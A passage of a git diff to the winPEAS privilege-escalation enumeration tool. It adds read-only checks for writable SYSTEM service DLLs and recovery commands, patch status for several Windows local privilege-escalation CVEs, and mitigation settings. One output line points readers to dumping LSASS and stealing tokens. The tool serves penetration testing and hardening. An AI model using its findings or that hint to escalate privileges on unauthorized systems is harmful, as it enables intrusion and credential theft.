Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ServicesInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ServicesInfo.cs index 7e751d8e..21ddce5f 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ServicesInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/ServicesInfo.cs @@ -12,11 +12,11 @@ internal class ServicesInfo : ISystemCheck { Dictionary modifiableServices = new Dictionary(); - public string[] MitreAttackIds { get; } = new[] { "T1007", "T1543.003", "T1574.001", "T1574.011", "T1014", "T1068" }; + public string[] MitreAttackIds { get; } = new[] { "T1007", "T1543.003", "T1574.001", "T1574.010", "T1574.011", "T1014", "T1068" }; public void PrintInfo(bool isDebug) { - Beaprint.GreatPrint("Services Information", "T1007,T1543.003,T1574.001,T1574.011,T1014,T1068"); + Beaprint.GreatPrint("Services Information", "T1007,T1543.003,T1574.001,T1574.010,T1574.011,T1014,T1068"); /// Start finding Modifiable services so any function could use them @@ -37,6 +37,8 @@ public void PrintInfo(bool isDebug) PrintInterestingServices, PrintModifiableServices, PrintWritableRegServices, + PrintWritableSystemServiceDlls, + PrintWritableSystemRecoveryCommands, PrintPathDllHijacking, PrintOemPrivilegedUtilities, PrintLegacySignedKernelDrivers, @@ -188,6 +190,89 @@ void PrintWritableRegServices() } } + void PrintWritableSystemServiceDlls() + { + try + { + Beaprint.MainPrint("Writable DLLs loaded by LocalSystem services", "T1574.010"); + Beaprint.LinkPrint( + "https://attack.mitre.org/techniques/T1574/010/", + "A replaceable DLL loaded by an enabled LocalSystem service can execute as SYSTEM when the service starts."); + + WritableServiceDllReport report = ServicesInfoHelper.GetWritableSystemServiceDlls(Checks.CurrentUserSiDs); + if (report.Findings.Count == 0) + { + Beaprint.GoodPrint($" No replaceable ServiceDll paths found in {report.ServicesInspected} inspected service(s)."); + } + + foreach (WritableServiceDllInfo finding in report.Findings) + { + Beaprint.BadPrint($" {finding.ServiceName} ({finding.Account})"); + Beaprint.NoColorPrint($" ServiceDll : {finding.ServiceDllPath}"); + Beaprint.NoColorPrint($" DLL exists : {finding.FileExists}"); + Beaprint.BadPrint($" Evidence : {finding.AccessReason}"); + Beaprint.PrintLineSeparator(); + } + + if (report.ServiceLimitReached) + { + Beaprint.GrayPrint($" Service inspection stopped at the safety limit of {ServicesInfoHelper.MaxServiceDllServices}."); + } + if (report.FindingLimitReached) + { + Beaprint.GrayPrint($" Findings were capped at {ServicesInfoHelper.MaxServiceDllFindings}."); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + void PrintWritableSystemRecoveryCommands() + { + try + { + Beaprint.MainPrint("Writable LocalSystem service recovery command targets", "T1543.003"); + Beaprint.LinkPrint( + "https://learn.microsoft.com/en-us/windows/win32/api/winsvc/ns-winsvc-service_failure_actionsw", + "A replaceable target used by an SC_ACTION_RUN_COMMAND recovery action executes under the service account when recovery fires."); + + WritableServiceRecoveryCommandReport report = + ServicesInfoHelper.GetWritableSystemRecoveryCommands(Checks.CurrentUserSiDs); + if (report.Findings.Count == 0) + { + Beaprint.GoodPrint($" No replaceable recovery command targets found in {report.ServicesInspected} inspected service(s)."); + } + + foreach (WritableServiceRecoveryCommandInfo finding in report.Findings) + { + Beaprint.BadPrint($" {finding.ServiceName} ({finding.Account})"); + Beaprint.NoColorPrint($" Target exists : {finding.TargetExists}"); + Beaprint.NoColorPrint($" Target path : {finding.TargetPath}"); + Beaprint.BadPrint($" Evidence : {finding.AccessReason}"); + Beaprint.PrintLineSeparator(); + } + + if (report.Findings.Count > 0) + { + Beaprint.GrayPrint(" Recovery actions run only after a qualifying service failure; this check does not stop, start, or crash services."); + } + if (report.ServiceLimitReached) + { + Beaprint.GrayPrint($" Service inspection stopped at the safety limit of {ServicesInfoHelper.MaxRecoveryCommandServices}."); + } + if (report.FindingLimitReached) + { + Beaprint.GrayPrint($" Findings were capped at {ServicesInfoHelper.MaxRecoveryCommandFindings}."); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + void PrintPathDllHijacking() { try diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs index a308ce34..cbe1ccb9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs @@ -51,16 +51,20 @@ class SystemInfo : ISystemCheck { "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"}, }; - public string[] MitreAttackIds { get; } = new[] { "T1082", "T1068", "T1548.002", "T1003.001", "T1003.004", "T1003.005", "T1059.001", "T1552.001", "T1552.002", "T1562.001", "T1562.002", "T1518.001", "T1557.001", "T1558", "T1559", "T1134.001", "T1547.005", "T1484.001", "T1613", "T1654", "T1072", "T1187" }; + public string[] MitreAttackIds { get; } = new[] { "T1082", "T1068", "T1546.015", "T1548.002", "T1003.001", "T1003.004", "T1003.005", "T1059.001", "T1552.001", "T1552.002", "T1562.001", "T1562.002", "T1518.001", "T1557.001", "T1558", "T1559", "T1134.001", "T1547.005", "T1484.001", "T1613", "T1654", "T1072", "T1187", "T1200" }; public void PrintInfo(bool isDebug) { - Beaprint.GreatPrint("System Information", "T1082,T1068,T1548.002,T1003.001,T1003.004,T1003.005,T1059.001,T1552.001,T1552.002,T1562.001,T1562.002,T1518.001,T1557.001,T1558,T1559,T1134.001,T1547.005,T1484.001,T1613,T1654,T1072,T1187"); + Beaprint.GreatPrint("System Information", "T1082,T1068,T1546.015,T1548.002,T1003.001,T1003.004,T1003.005,T1059.001,T1552.001,T1552.002,T1562.001,T1562.002,T1518.001,T1557.001,T1558,T1559,T1134.001,T1547.005,T1484.001,T1613,T1654,T1072,T1187,T1200"); new List { PrintBasicSystemInfo, PrintWindowsVersionVulnerabilities, + PrintSpoolerCve38028, + PrintStorvspVsmbCves, + PrintWindowsInstallerCve27727, + PrintCrossDeviceComCve66804, PrintMicrosoftUpdatesCOM, PrintSystemLastShutdownTime, PrintUserEV, @@ -72,6 +76,7 @@ public void PrintInfo(bool isDebug) PrintWdigest, PrintLSAProtection, PrintCredentialGuard, + DmaProtection.PrintInfo, PrintCachedCreds, PrintRegistryCreds, PrintAVInfo, @@ -87,6 +92,7 @@ public void PrintInfo(bool isDebug) PrintInsideContainer, PrintAlwaysInstallElevated, PrintObjectManagerRaceAmplification, + PrintClfsAuthentication, PrintLSAInfo, PrintNtlmSettings, PrintLocalGroupPolicy, @@ -185,6 +191,385 @@ private static void PrintWindowsVersionVulnerabilities() } } + private static void PrintSpoolerCve38028() + { + try + { + Beaprint.MainPrint("Print Spooler LPE (CVE-2022-38028 / GooseEgg)", "T1068"); + Beaprint.LinkPrint("https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38028", "Microsoft advisory and security updates"); + Beaprint.LinkPrint("https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/", "Microsoft GooseEgg analysis"); + Beaprint.InfoPrint("Passive/read-only exposure check; it does not interact with the spooler, submit a print job, or search for actor-specific files."); + + var basicInfo = _basicSystemInfo ?? Info.SystemInfo.SystemInfo.GetBasicOSInfo(); + PrintSpoolerCve38028Report report = winPEAS.Info.SystemInfo.PrintSpoolerCve38028.GetReport(basicInfo); + + Beaprint.NoColorPrint(" Product/version/architecture: " + report.ProductName + " / " + report.DisplayVersion + " / " + report.Architecture); + Beaprint.NoColorPrint(" OS build: " + (string.IsNullOrEmpty(report.BuildVersion) ? "unknown" : report.BuildVersion)); + if (report.BuildApplicable) + { + Beaprint.NoColorPrint(" First fixed level: " + report.FixedVersion + " (KB" + string.Join(" or KB", report.ApplicableKbs) + ")"); + Beaprint.NoColorPrint(" Applicable/superseded fix found: " + !string.IsNullOrEmpty(report.MatchedFixKb) + + (string.IsNullOrEmpty(report.MatchedFixKb) ? "" : " (KB" + report.MatchedFixKb + ")")); + } + + string registryStart = report.RegistryStart.HasValue ? report.RegistryStart.Value.ToString() : "unknown"; + Beaprint.NoColorPrint(" Spooler present/available/running: " + report.ServiceExists + " / " + report.ServiceAvailable + " / " + report.Started); + Beaprint.NoColorPrint(" WMI path/account/start/state: " + report.PathName + " / " + report.StartName + " / " + report.StartMode + " / " + report.State); + Beaprint.NoColorPrint(" Registry image/account/start: " + report.RegistryImagePath + " / " + report.RegistryObjectName + " / " + registryStart); + Beaprint.NoColorPrint(" Spooler registry writable by broad low-privilege principal: " + report.RegistryWritableByLowPrivilegePrincipal); + if (report.RegistryWritableByLowPrivilegePrincipal) + { + Beaprint.BadPrint(" Registry ACL principals/rights: " + string.Join(", ", report.RegistryWritablePrincipals) + " / " + string.Join(", ", report.RegistryWritableRights)); + } + + if (report.HighPriorityFinding) + { + Beaprint.BadPrint("HIGH: The Windows build is missing the CVE-2022-38028 fix and the Print Spooler is available. " + report.PatchEvidence); + Beaprint.BadPrint("Install the applicable October 2022 update or a later cumulative update. Disable the Print Spooler where it is not required."); + } + else if (report.PatchStatus == PrintSpoolerPatchStatus.Susceptible) + { + Beaprint.InfoPrint("The Windows build appears unpatched, but the Print Spooler is absent or disabled, so the CVE is not reported as currently exposed. " + report.PatchEvidence); + } + else if (report.PatchStatus == PrintSpoolerPatchStatus.Patched) + { + Beaprint.GoodPrint("The running system is at or above Microsoft's fixed level for CVE-2022-38028. " + report.PatchEvidence); + } + else if (report.PatchStatus == PrintSpoolerPatchStatus.NotAffected) + { + Beaprint.GoodPrint("Microsoft does not list this Windows build as affected by CVE-2022-38028."); + } + else + { + Beaprint.InfoPrint("Unable to determine the CVE-2022-38028 patch state. " + report.PatchEvidence); + } + + foreach (string error in report.CollectionErrors) + { + Beaprint.GrayPrint(" Collection note: " + error); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + private static void PrintStorvspVsmbCves() + { + try + { + Beaprint.MainPrint("Storage VSP vSMB LPE (CVE-2025-59517 / CVE-2025-64673)", "T1068"); + Beaprint.LinkPrint("https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59517", "Microsoft advisory for CVE-2025-59517"); + Beaprint.LinkPrint("https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64673", "Microsoft advisory for CVE-2025-64673"); + Beaprint.LinkPrint("https://blog.exodusintel.com/2026/07/27/from-virtual-share-to-physical-shell-leveraging-windows-inconsistent-access-control-for-lpe/", "Technical details"); + Beaprint.InfoPrint("Passive/read-only check; it does not open a vSMB share, send IOCTL 0x240330, replace files, or activate COM objects."); + + var basicInfo = _basicSystemInfo ?? Info.SystemInfo.SystemInfo.GetBasicOSInfo(); + StorvspVsmbReport report = StorvspVsmbCves.GetReport(basicInfo); + + Beaprint.NoColorPrint(" Product/architecture: " + report.ProductName + " / " + report.Architecture); + Beaprint.NoColorPrint(" OS build: " + (string.IsNullOrEmpty(report.BuildVersion) ? "unknown" : report.BuildVersion)); + if (report.BuildApplicable) + { + Beaprint.NoColorPrint(" First regular fixed build: " + report.FixedVersion + " (KB" + report.ApplicableKb + ")"); + if (!string.IsNullOrEmpty(report.HotpatchKb)) + { + Beaprint.NoColorPrint(" December 2025 hotpatch: " + report.Build + "." + report.HotpatchRevision + " (KB" + report.HotpatchKb + ")"); + } + Beaprint.NoColorPrint(" Applicable fix KB directly present: " + report.DirectFixInstalled + + " (later cumulative updates are also recognized by build/driver version)"); + } + + Beaprint.NoColorPrint(" Virtual Machine Platform: " + report.VirtualMachinePlatformState); + Beaprint.NoColorPrint(" storvsp driver registered/started: " + report.DriverRegistered + " / " + report.DriverStarted); + if (report.DriverRegistered) + { + string registryState = report.DriverStart.HasValue ? report.DriverStart.Value.ToString() : "unknown"; + string driverType = report.DriverType.HasValue ? report.DriverType.Value.ToString() : "unknown"; + Beaprint.NoColorPrint(" storvsp registry image/start/type: " + report.DriverImagePath + " / " + registryState + " / " + driverType); + Beaprint.NoColorPrint(" storvsp WMI path/start mode/state: " + report.DriverWmiPath + " / " + report.DriverStartMode + " / " + report.DriverState); + } + + Beaprint.NoColorPrint(" storvsp.sys: " + report.DriverPath + " (exists: " + report.DriverExists + ")"); + if (report.DriverExists) + { + Beaprint.NoColorPrint(" storvsp.sys file/product version: " + report.DriverFileVersion + " / " + report.DriverProductVersion); + Beaprint.NoColorPrint(" storvsp.sys company/signer: " + report.DriverCompany + " / " + report.DriverSigner); + Beaprint.NoColorPrint(" storvsp.sys Authenticode: " + report.DriverSignatureStatus); + if (report.DriverLastWriteUtc.HasValue) + { + Beaprint.NoColorPrint(" storvsp.sys last write UTC: " + report.DriverLastWriteUtc.Value.ToString("u")); + } + } + + Beaprint.NoColorPrint(" \\.\\STORVSP DOS device link: " + report.DeviceLinkPresent + + (string.IsNullOrEmpty(report.DeviceLinkTarget) ? "" : " -> " + report.DeviceLinkTarget)); + Beaprint.NoColorPrint(" Relevant vSMB attack surface enabled: " + report.AttackSurfaceEnabled); + + if (report.HighPriorityFinding) + { + Beaprint.BadPrint("HIGH: The unpatched build and enabled STORVSP/vSMB attack surface match the low-privileged-to-SYSTEM chain (CVE-2025-59517 + CVE-2025-64673). " + report.PatchEvidence); + Beaprint.BadPrint("Install KB" + report.ApplicableKb + " or a later cumulative update. If Virtual Machine Platform is unnecessary, disable it to remove this attack surface."); + } + else if (report.PatchStatus == StorvspPatchStatus.Susceptible) + { + Beaprint.InfoPrint("The OS build is susceptible to both CVEs, but an enabled STORVSP/vSMB attack surface was not observed. " + report.PatchEvidence); + } + else if (report.PatchStatus == StorvspPatchStatus.Patched) + { + Beaprint.GoodPrint("The running system is at or above Microsoft's fixed level for both Storage VSP vulnerabilities. " + report.PatchEvidence); + } + else if (report.OnlyCve59517Applicable) + { + Beaprint.InfoPrint("CVE-2025-59517 applies to this build, but Microsoft does not list CVE-2025-64673; this two-CVE chain is not reported as applicable."); + } + else if (report.PatchStatus == StorvspPatchStatus.NotAffected) + { + Beaprint.GoodPrint("Microsoft does not list this OS build as affected by both CVEs in the vSMB chain."); + } + else + { + Beaprint.InfoPrint("Unable to determine the Storage VSP patch state. " + report.PatchEvidence); + } + + foreach (string error in report.CollectionErrors) + { + Beaprint.GrayPrint(" Collection note: " + error); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + private static void PrintWindowsInstallerCve27727() + { + try + { + Beaprint.MainPrint("Windows Installer CVE-2025-27727", "T1068"); + Beaprint.LinkPrint("https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-27727", "Microsoft advisory and security updates"); + Beaprint.LinkPrint("https://blog.exodusintel.com/2026/07/06/microsoft-windows-installer-folder-delete-privilege-escalation/", "Technical details"); + Beaprint.InfoPrint("Passive/read-only check; it does not invoke the MSI COM interface or alter installer state."); + + var basicInfo = _basicSystemInfo ?? Info.SystemInfo.SystemInfo.GetBasicOSInfo(); + WindowsInstallerReport report = WindowsInstallerCve27727.GetReport(basicInfo); + + Beaprint.NoColorPrint(" Product: " + report.ProductName); + Beaprint.NoColorPrint(" Architecture: " + report.Architecture); + Beaprint.NoColorPrint(" OS build: " + (string.IsNullOrEmpty(report.BuildVersion) ? "unknown" : report.BuildVersion)); + if (!string.IsNullOrEmpty(report.FixedVersion)) + { + Beaprint.NoColorPrint(" First fixed build: " + report.FixedVersion + " (April 2025 KB" + report.ApplicableKb + ")"); + string[] applicableKbs = report.ApplicableKb.Split('/'); + bool aprilKbFound = applicableKbs.Any(kb => report.InstalledHotfixes.IndexOf("KB" + kb, StringComparison.OrdinalIgnoreCase) >= 0); + Beaprint.NoColorPrint(" Applicable April 2025 KB directly present in hotfix inventory: " + aprilKbFound + + " (a later cumulative update may supersede it)"); + } + + switch (report.VersionStatus) + { + case WindowsInstallerVersionStatus.Susceptible: + Beaprint.BadPrint("The running OS build is below Microsoft's fixed build for CVE-2025-27727."); + break; + case WindowsInstallerVersionStatus.Patched: + Beaprint.GoodPrint("The running OS build is at or above Microsoft's fixed build for CVE-2025-27727."); + break; + case WindowsInstallerVersionStatus.NotListed: + Beaprint.InfoPrint("This OS build line is not in the Microsoft/NVD affected-build list for CVE-2025-27727."); + break; + default: + Beaprint.InfoPrint("Unable to determine CVE-2025-27727 patch status from the OS build."); + break; + } + + Beaprint.NoColorPrint(" msi.dll: " + (string.IsNullOrEmpty(report.MsiDllPath) ? "not found" : report.MsiDllPath)); + if (!string.IsNullOrEmpty(report.MsiDllFileVersion)) + { + Beaprint.NoColorPrint(" msi.dll file/product version: " + report.MsiDllFileVersion + " / " + report.MsiDllProductVersion); + Beaprint.NoColorPrint(" msi.dll company/size/last write UTC: " + report.MsiDllCompany + " / " + report.MsiDllSize + " bytes / " + report.MsiDllLastWriteUtc.ToString("u")); + } + + if (report.TempPackagesTotal == 0) + { + Beaprint.GoodPrint("No values found in HKLM\\" + WindowsInstallerCve27727.TempPackagesKey + "."); + } + else + { + Beaprint.InfoPrint("TempPackages values (showing " + report.TempPackages.Count + "/" + report.TempPackagesTotal + "):"); + foreach (TempPackageEntry entry in report.TempPackages) + { + string details = entry.Kind + "=" + entry.Data + (entry.IsFolder ? ", folder" : ""); + if (entry.IsConfigMsi) + { + Beaprint.BadPrint(" " + entry.Path + " (" + details + ", Config.Msi cleanup entry)"); + } + else if (entry.IsOutsideCommonInstallerLocations) + { + Beaprint.InfoPrint(" " + entry.Path + " (" + details + ", outside common installer locations)"); + } + else + { + Beaprint.NoColorPrint(" " + entry.Path + " (" + details + ")"); + } + } + } + + Beaprint.NoColorPrint(" Installer\\Folders contains Config.Msi: " + report.InstallerFoldersHasConfigMsi); + Beaprint.NoColorPrint(" " + report.ConfigMsiPath + " exists: " + report.ConfigMsiExists); + if (report.ConfigMsiExists) + { + Beaprint.NoColorPrint(" Config.Msi owner: " + report.ConfigMsiOwner); + Beaprint.NoColorPrint(" Config.Msi created/last write UTC: " + report.ConfigMsiCreationUtc.ToString("u") + " / " + report.ConfigMsiLastWriteUtc.ToString("u")); + if (report.ConfigMsiNullDacl) + { + Beaprint.BadPrint("Config.Msi has a NULL DACL (all users receive full access)."); + } + if (report.ConfigMsiUnusualOwner) + { + Beaprint.BadPrint("Config.Msi has an unexpected non-system owner."); + } + foreach (string acl in report.ConfigMsiDangerousAcls) + { + Beaprint.BadPrint(" Potentially dangerous Config.Msi ACL: " + acl); + } + if (report.ConfigMsiRecentlyChanged) + { + Beaprint.InfoPrint("Config.Msi changed within the last seven days; correlate with legitimate installations."); + } + foreach (string rollbackFile in report.RollbackFiles) + { + Beaprint.BadPrint(" Rollback artifact: " + rollbackFile); + } + } + + if (report.InstallerFoldersHasConfigMsi && !report.ConfigMsiExists) + { + Beaprint.InfoPrint("Config.Msi is absent while Installer\\Folders metadata remains (stale metadata alone can be normal)."); + } + + foreach (string error in report.CollectionErrors) + { + Beaprint.InfoPrint("Collection note: " + error); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + private static void PrintCrossDeviceComCve66804() + { + try + { + Beaprint.MainPrint("CrossDevice dangling COM LPE (CVE-2026-66804)", "T1068,T1546.015"); + Beaprint.LinkPrint("https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66804", "Microsoft advisory and security updates"); + Beaprint.LinkPrint("https://projectzero.google/2026/09/windows-dangling-com.html", "Project Zero technical analysis"); + Beaprint.InfoPrint("Passive/read-only check; it does not create files/events, load registered DLLs, start the task, activate COM, or inspect combase internals."); + + var basicInfo = _basicSystemInfo ?? Info.SystemInfo.SystemInfo.GetBasicOSInfo(); + CrossDeviceComReport report = CrossDeviceComCve66804.GetReport(basicInfo); + + Beaprint.NoColorPrint(" Product/architecture: " + report.ProductName + " / " + report.Architecture); + Beaprint.NoColorPrint(" OS build: " + (string.IsNullOrEmpty(report.BuildVersion) ? "unknown" : report.BuildVersion)); + if (report.BuildApplicable) + { + Beaprint.NoColorPrint(" First fixed build: " + report.FixedVersion + " (KB" + report.ApplicableKb + ")"); + Beaprint.NoColorPrint(" Applicable fix KB directly present: " + report.DirectFixInstalled + + " (later cumulative updates are recognized by build revision)"); + } + + foreach (CrossDeviceComRegistration registration in report.CrossDeviceRegistrations) + { + if (!registration.Present) + { + Beaprint.NoColorPrint(" " + registration.RegistryView + " CrossDevice InprocServer32: not present"); + continue; + } + + Beaprint.NoColorPrint(" " + registration.RegistryView + " CrossDevice InprocServer32: " + registration.RawServerPath); + Beaprint.NoColorPrint(" Resolved path: " + registration.ResolvedServerPath); + Beaprint.NoColorPrint(" Expected path / DLL exists: " + registration.MatchesExpectedPath + " / " + registration.ServerExists); + if (!string.IsNullOrEmpty(registration.NearestExistingParent)) + { + Beaprint.NoColorPrint(" Nearest existing parent: " + registration.NearestExistingParent); + } + if (!string.IsNullOrEmpty(registration.PathControlReason)) + { + Beaprint.BadPrint(" Path control: " + registration.PathControlReason); + } + if (!string.IsNullOrEmpty(registration.ParentAclSddl)) + { + Beaprint.NoColorPrint(" Relevant file/parent DACL: " + registration.ParentAclSddl); + } + if (!string.IsNullOrEmpty(registration.CollectionError)) + { + Beaprint.GrayPrint(" Collection note: " + registration.CollectionError); + } + } + + Beaprint.NoColorPrint(" Shell Create Object Handler present/view: " + + report.ShellClassPresent + " / " + report.ShellClassRegistryView); + if (report.ShellClassPresent) + { + Beaprint.NoColorPrint(" Name/AppID/RunAs: " + report.ShellClassName + " / " + + report.ShellAppId + " / " + report.ShellRunAs); + Beaprint.NoColorPrint(" Configured to run as SYSTEM: " + report.ShellRunsAsSystem); + } + + Beaprint.NoColorPrint(" " + CrossDeviceComCve66804.CreateObjectTaskPath + + " present/enabled/state: " + report.TaskPresent + " / " + report.TaskEnabled + " / " + report.TaskState); + if (report.TaskPresent) + { + Beaprint.NoColorPrint(" Principal / runs as SYSTEM: " + report.TaskPrincipal + " / " + report.TaskRunsAsSystem); + Beaprint.NoColorPrint(" Execute DACL readable / runnable by low privilege: " + + report.TaskExecuteAclKnown + " / " + report.TaskRunnableByLowPrivilege); + if (report.TaskRunnableByLowPrivilege) + { + Beaprint.BadPrint(" Task execute access granted by: " + report.TaskExecuteTrustee); + } + if (!string.IsNullOrEmpty(report.TaskAclSddl)) + { + Beaprint.NoColorPrint(" Task DACL: " + report.TaskAclSddl); + } + } + + if (report.CompleteStaticChain) + { + Beaprint.BadPrint("HIGH: The unpatched build, writable dangling CrossDevice COM path, SYSTEM COM registration, and user-executable CreateObjectTask match the static CVE-2026-66804 chain."); + Beaprint.BadPrint("Install KB" + report.ApplicableKb + " or a later cumulative update. Treat any unexpected DLL at the registered ProgramData path as suspicious."); + } + else if (report.PatchStatus == CrossDevicePatchStatus.Susceptible && report.HasControllableRegistration) + { + Beaprint.BadPrint("The build is susceptible and the dangling COM server path is controllable, but every prerequisite for the documented trigger chain was not confirmed. " + report.PatchEvidence); + } + else if (report.PatchStatus == CrossDevicePatchStatus.Patched) + { + Beaprint.GoodPrint("The running system is at or above Microsoft's fixed level for CVE-2026-66804. " + report.PatchEvidence); + } + else if (report.PatchStatus == CrossDevicePatchStatus.NotAffected) + { + Beaprint.GoodPrint(report.PatchEvidence); + } + else + { + Beaprint.InfoPrint("No complete static CVE-2026-66804 chain was confirmed. " + report.PatchEvidence); + } + + Beaprint.InfoPrint("Custom-marshaling policy is not inferred: EOAC_NO_CUSTOM_MARSHAL or COMGLB_UNMARSHALING_POLICY_STRONG can block exploitation."); + foreach (string error in report.CollectionErrors) + { + Beaprint.GrayPrint(" Collection note: " + error); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + private static void PrintMicrosoftUpdatesCOM() { try @@ -827,6 +1212,57 @@ static void PrintObjectManagerRaceAmplification() } } + private static void PrintClfsAuthentication() + { + try + { + ClfsAuthenticationReport report = ClfsAuthentication.GetReport(); + if (report.Status == ClfsAuthenticationStatus.NotAvailable) + { + return; + } + + Beaprint.MainPrint("CLFS logfile authentication mitigation", "T1068"); + Beaprint.LinkPrint( + "https://support.microsoft.com/en-us/servicing/os/windows/2025/03/common-log-file-system-clfs-authentication-mitigation", + "CLFS authentication blocks maliciously modified logfiles before the kernel driver parses them."); + + switch (report.Status) + { + case ClfsAuthenticationStatus.Enforced: + Beaprint.GoodPrint(" Enforced (Mode 0): CLFS rejects logfiles with missing or invalid authentication codes."); + break; + case ClfsAuthenticationStatus.Learning: + Beaprint.InfoPrint(" Learning mode (Mode 1): unauthenticated logfiles are still accepted during the adoption period."); + if (report.EnforcementTransitionPeriod.HasValue) + { + Beaprint.InfoPrint($" Automatic enforcement transition: {report.EnforcementTransitionPeriod.Value} seconds."); + } + break; + case ClfsAuthenticationStatus.LearningWithoutAutoEnforcement: + Beaprint.BadPrint(" Learning mode has no automatic enforcement transition (Mode 1, EnforcementTransitionPeriod 0)."); + break; + case ClfsAuthenticationStatus.DisabledByAdministrator: + Beaprint.BadPrint(" Disabled by an administrator (Mode 2): maliciously modified CLFS logfiles are not rejected by this mitigation."); + break; + case ClfsAuthenticationStatus.DisabledBySystem: + Beaprint.BadPrint(" Disabled automatically by the system (Mode 3): maliciously modified CLFS logfiles are not rejected by this mitigation."); + break; + case ClfsAuthenticationStatus.AccessDenied: + Beaprint.InfoPrint(" The CLFS authentication registry configuration could not be read (access denied)."); + break; + default: + string mode = report.Mode.HasValue ? report.Mode.Value.ToString() : "missing or invalid"; + Beaprint.InfoPrint($" Unknown CLFS authentication mode: {mode}."); + break; + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + private static void PrintNtlmSettings() { Beaprint.MainPrint($"Enumerating NTLM Settings", "T1557.001"); @@ -1425,7 +1861,7 @@ private static void PrintPotentialGPOAbuse() { if (!anyFinding) { - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/gpo-abuse.html", "Why it matters"); + Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html", "Why it matters"); } anyFinding = true; Beaprint.BadPrint($" [!] Writable applied GPO detected"); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/UserInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/UserInfo.cs index 717f3748..22e7e66b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/UserInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/UserInfo.cs @@ -158,7 +158,7 @@ void PrintRdpSessions() try { Beaprint.MainPrint("RDP Sessions", "T1563.002"); - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/credentials-mgmt/rdp-sessions", "Disconnected high-privilege RDP sessions keep reusable tokens inside LSASS."); + Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/rdp-sessions-abuse.html", "Disconnected high-privilege RDP sessions keep reusable tokens inside LSASS."); List> rdp_sessions = UserInfoHelper.GetRDPSessions(); if (rdp_sessions.Count > 0) { @@ -202,7 +202,7 @@ void PrintRdpSessions() string source = string.IsNullOrEmpty(flaggedIp) ? "local" : flaggedIp; Beaprint.BadPrint(string.Format(" -> Session {0} ({1}) from {2}", flaggedSessionId, userDisplay, source)); } - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/credentials-mgmt/rdp-sessions", "Dump LSASS / steal tokens (e.g., comsvcs.dll, LsaLogonSessions, custom SSPs) to reuse those privileges."); + Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/rdp-sessions-abuse.html", "Dump LSASS / steal tokens (e.g., comsvcs.dll, LsaLogonSessions, custom SSPs) to reuse those privileges."); } } else diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/WindowsCreds.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/WindowsCreds.cs index 01c9890a..a29d1480 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/WindowsCreds.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Checks/WindowsCreds.cs @@ -8,6 +8,7 @@ using winPEAS.Helpers; using winPEAS.Helpers.CredentialManager; using winPEAS.Helpers.Registry; +using winPEAS.Info.WindowsCreds; using winPEAS.Info.WindowsCreds.AppCmd; using winPEAS.KnownFileCreds; using winPEAS.KnownFileCreds.Kerberos; @@ -19,18 +20,25 @@ namespace winPEAS.Checks { internal class WindowsCreds : ISystemCheck { - public string[] MitreAttackIds { get; } = new[] { "T1552.001", "T1552.002", "T1555.003", "T1555.004", "T1558", "T1547.005", "T1563.002" }; + private const string CredentialLockerMitreId = "T1555.004"; + private const string CredentialLockerLink = "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault"; + private const string DpapiLink = "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi"; + private const string RdcManLink = 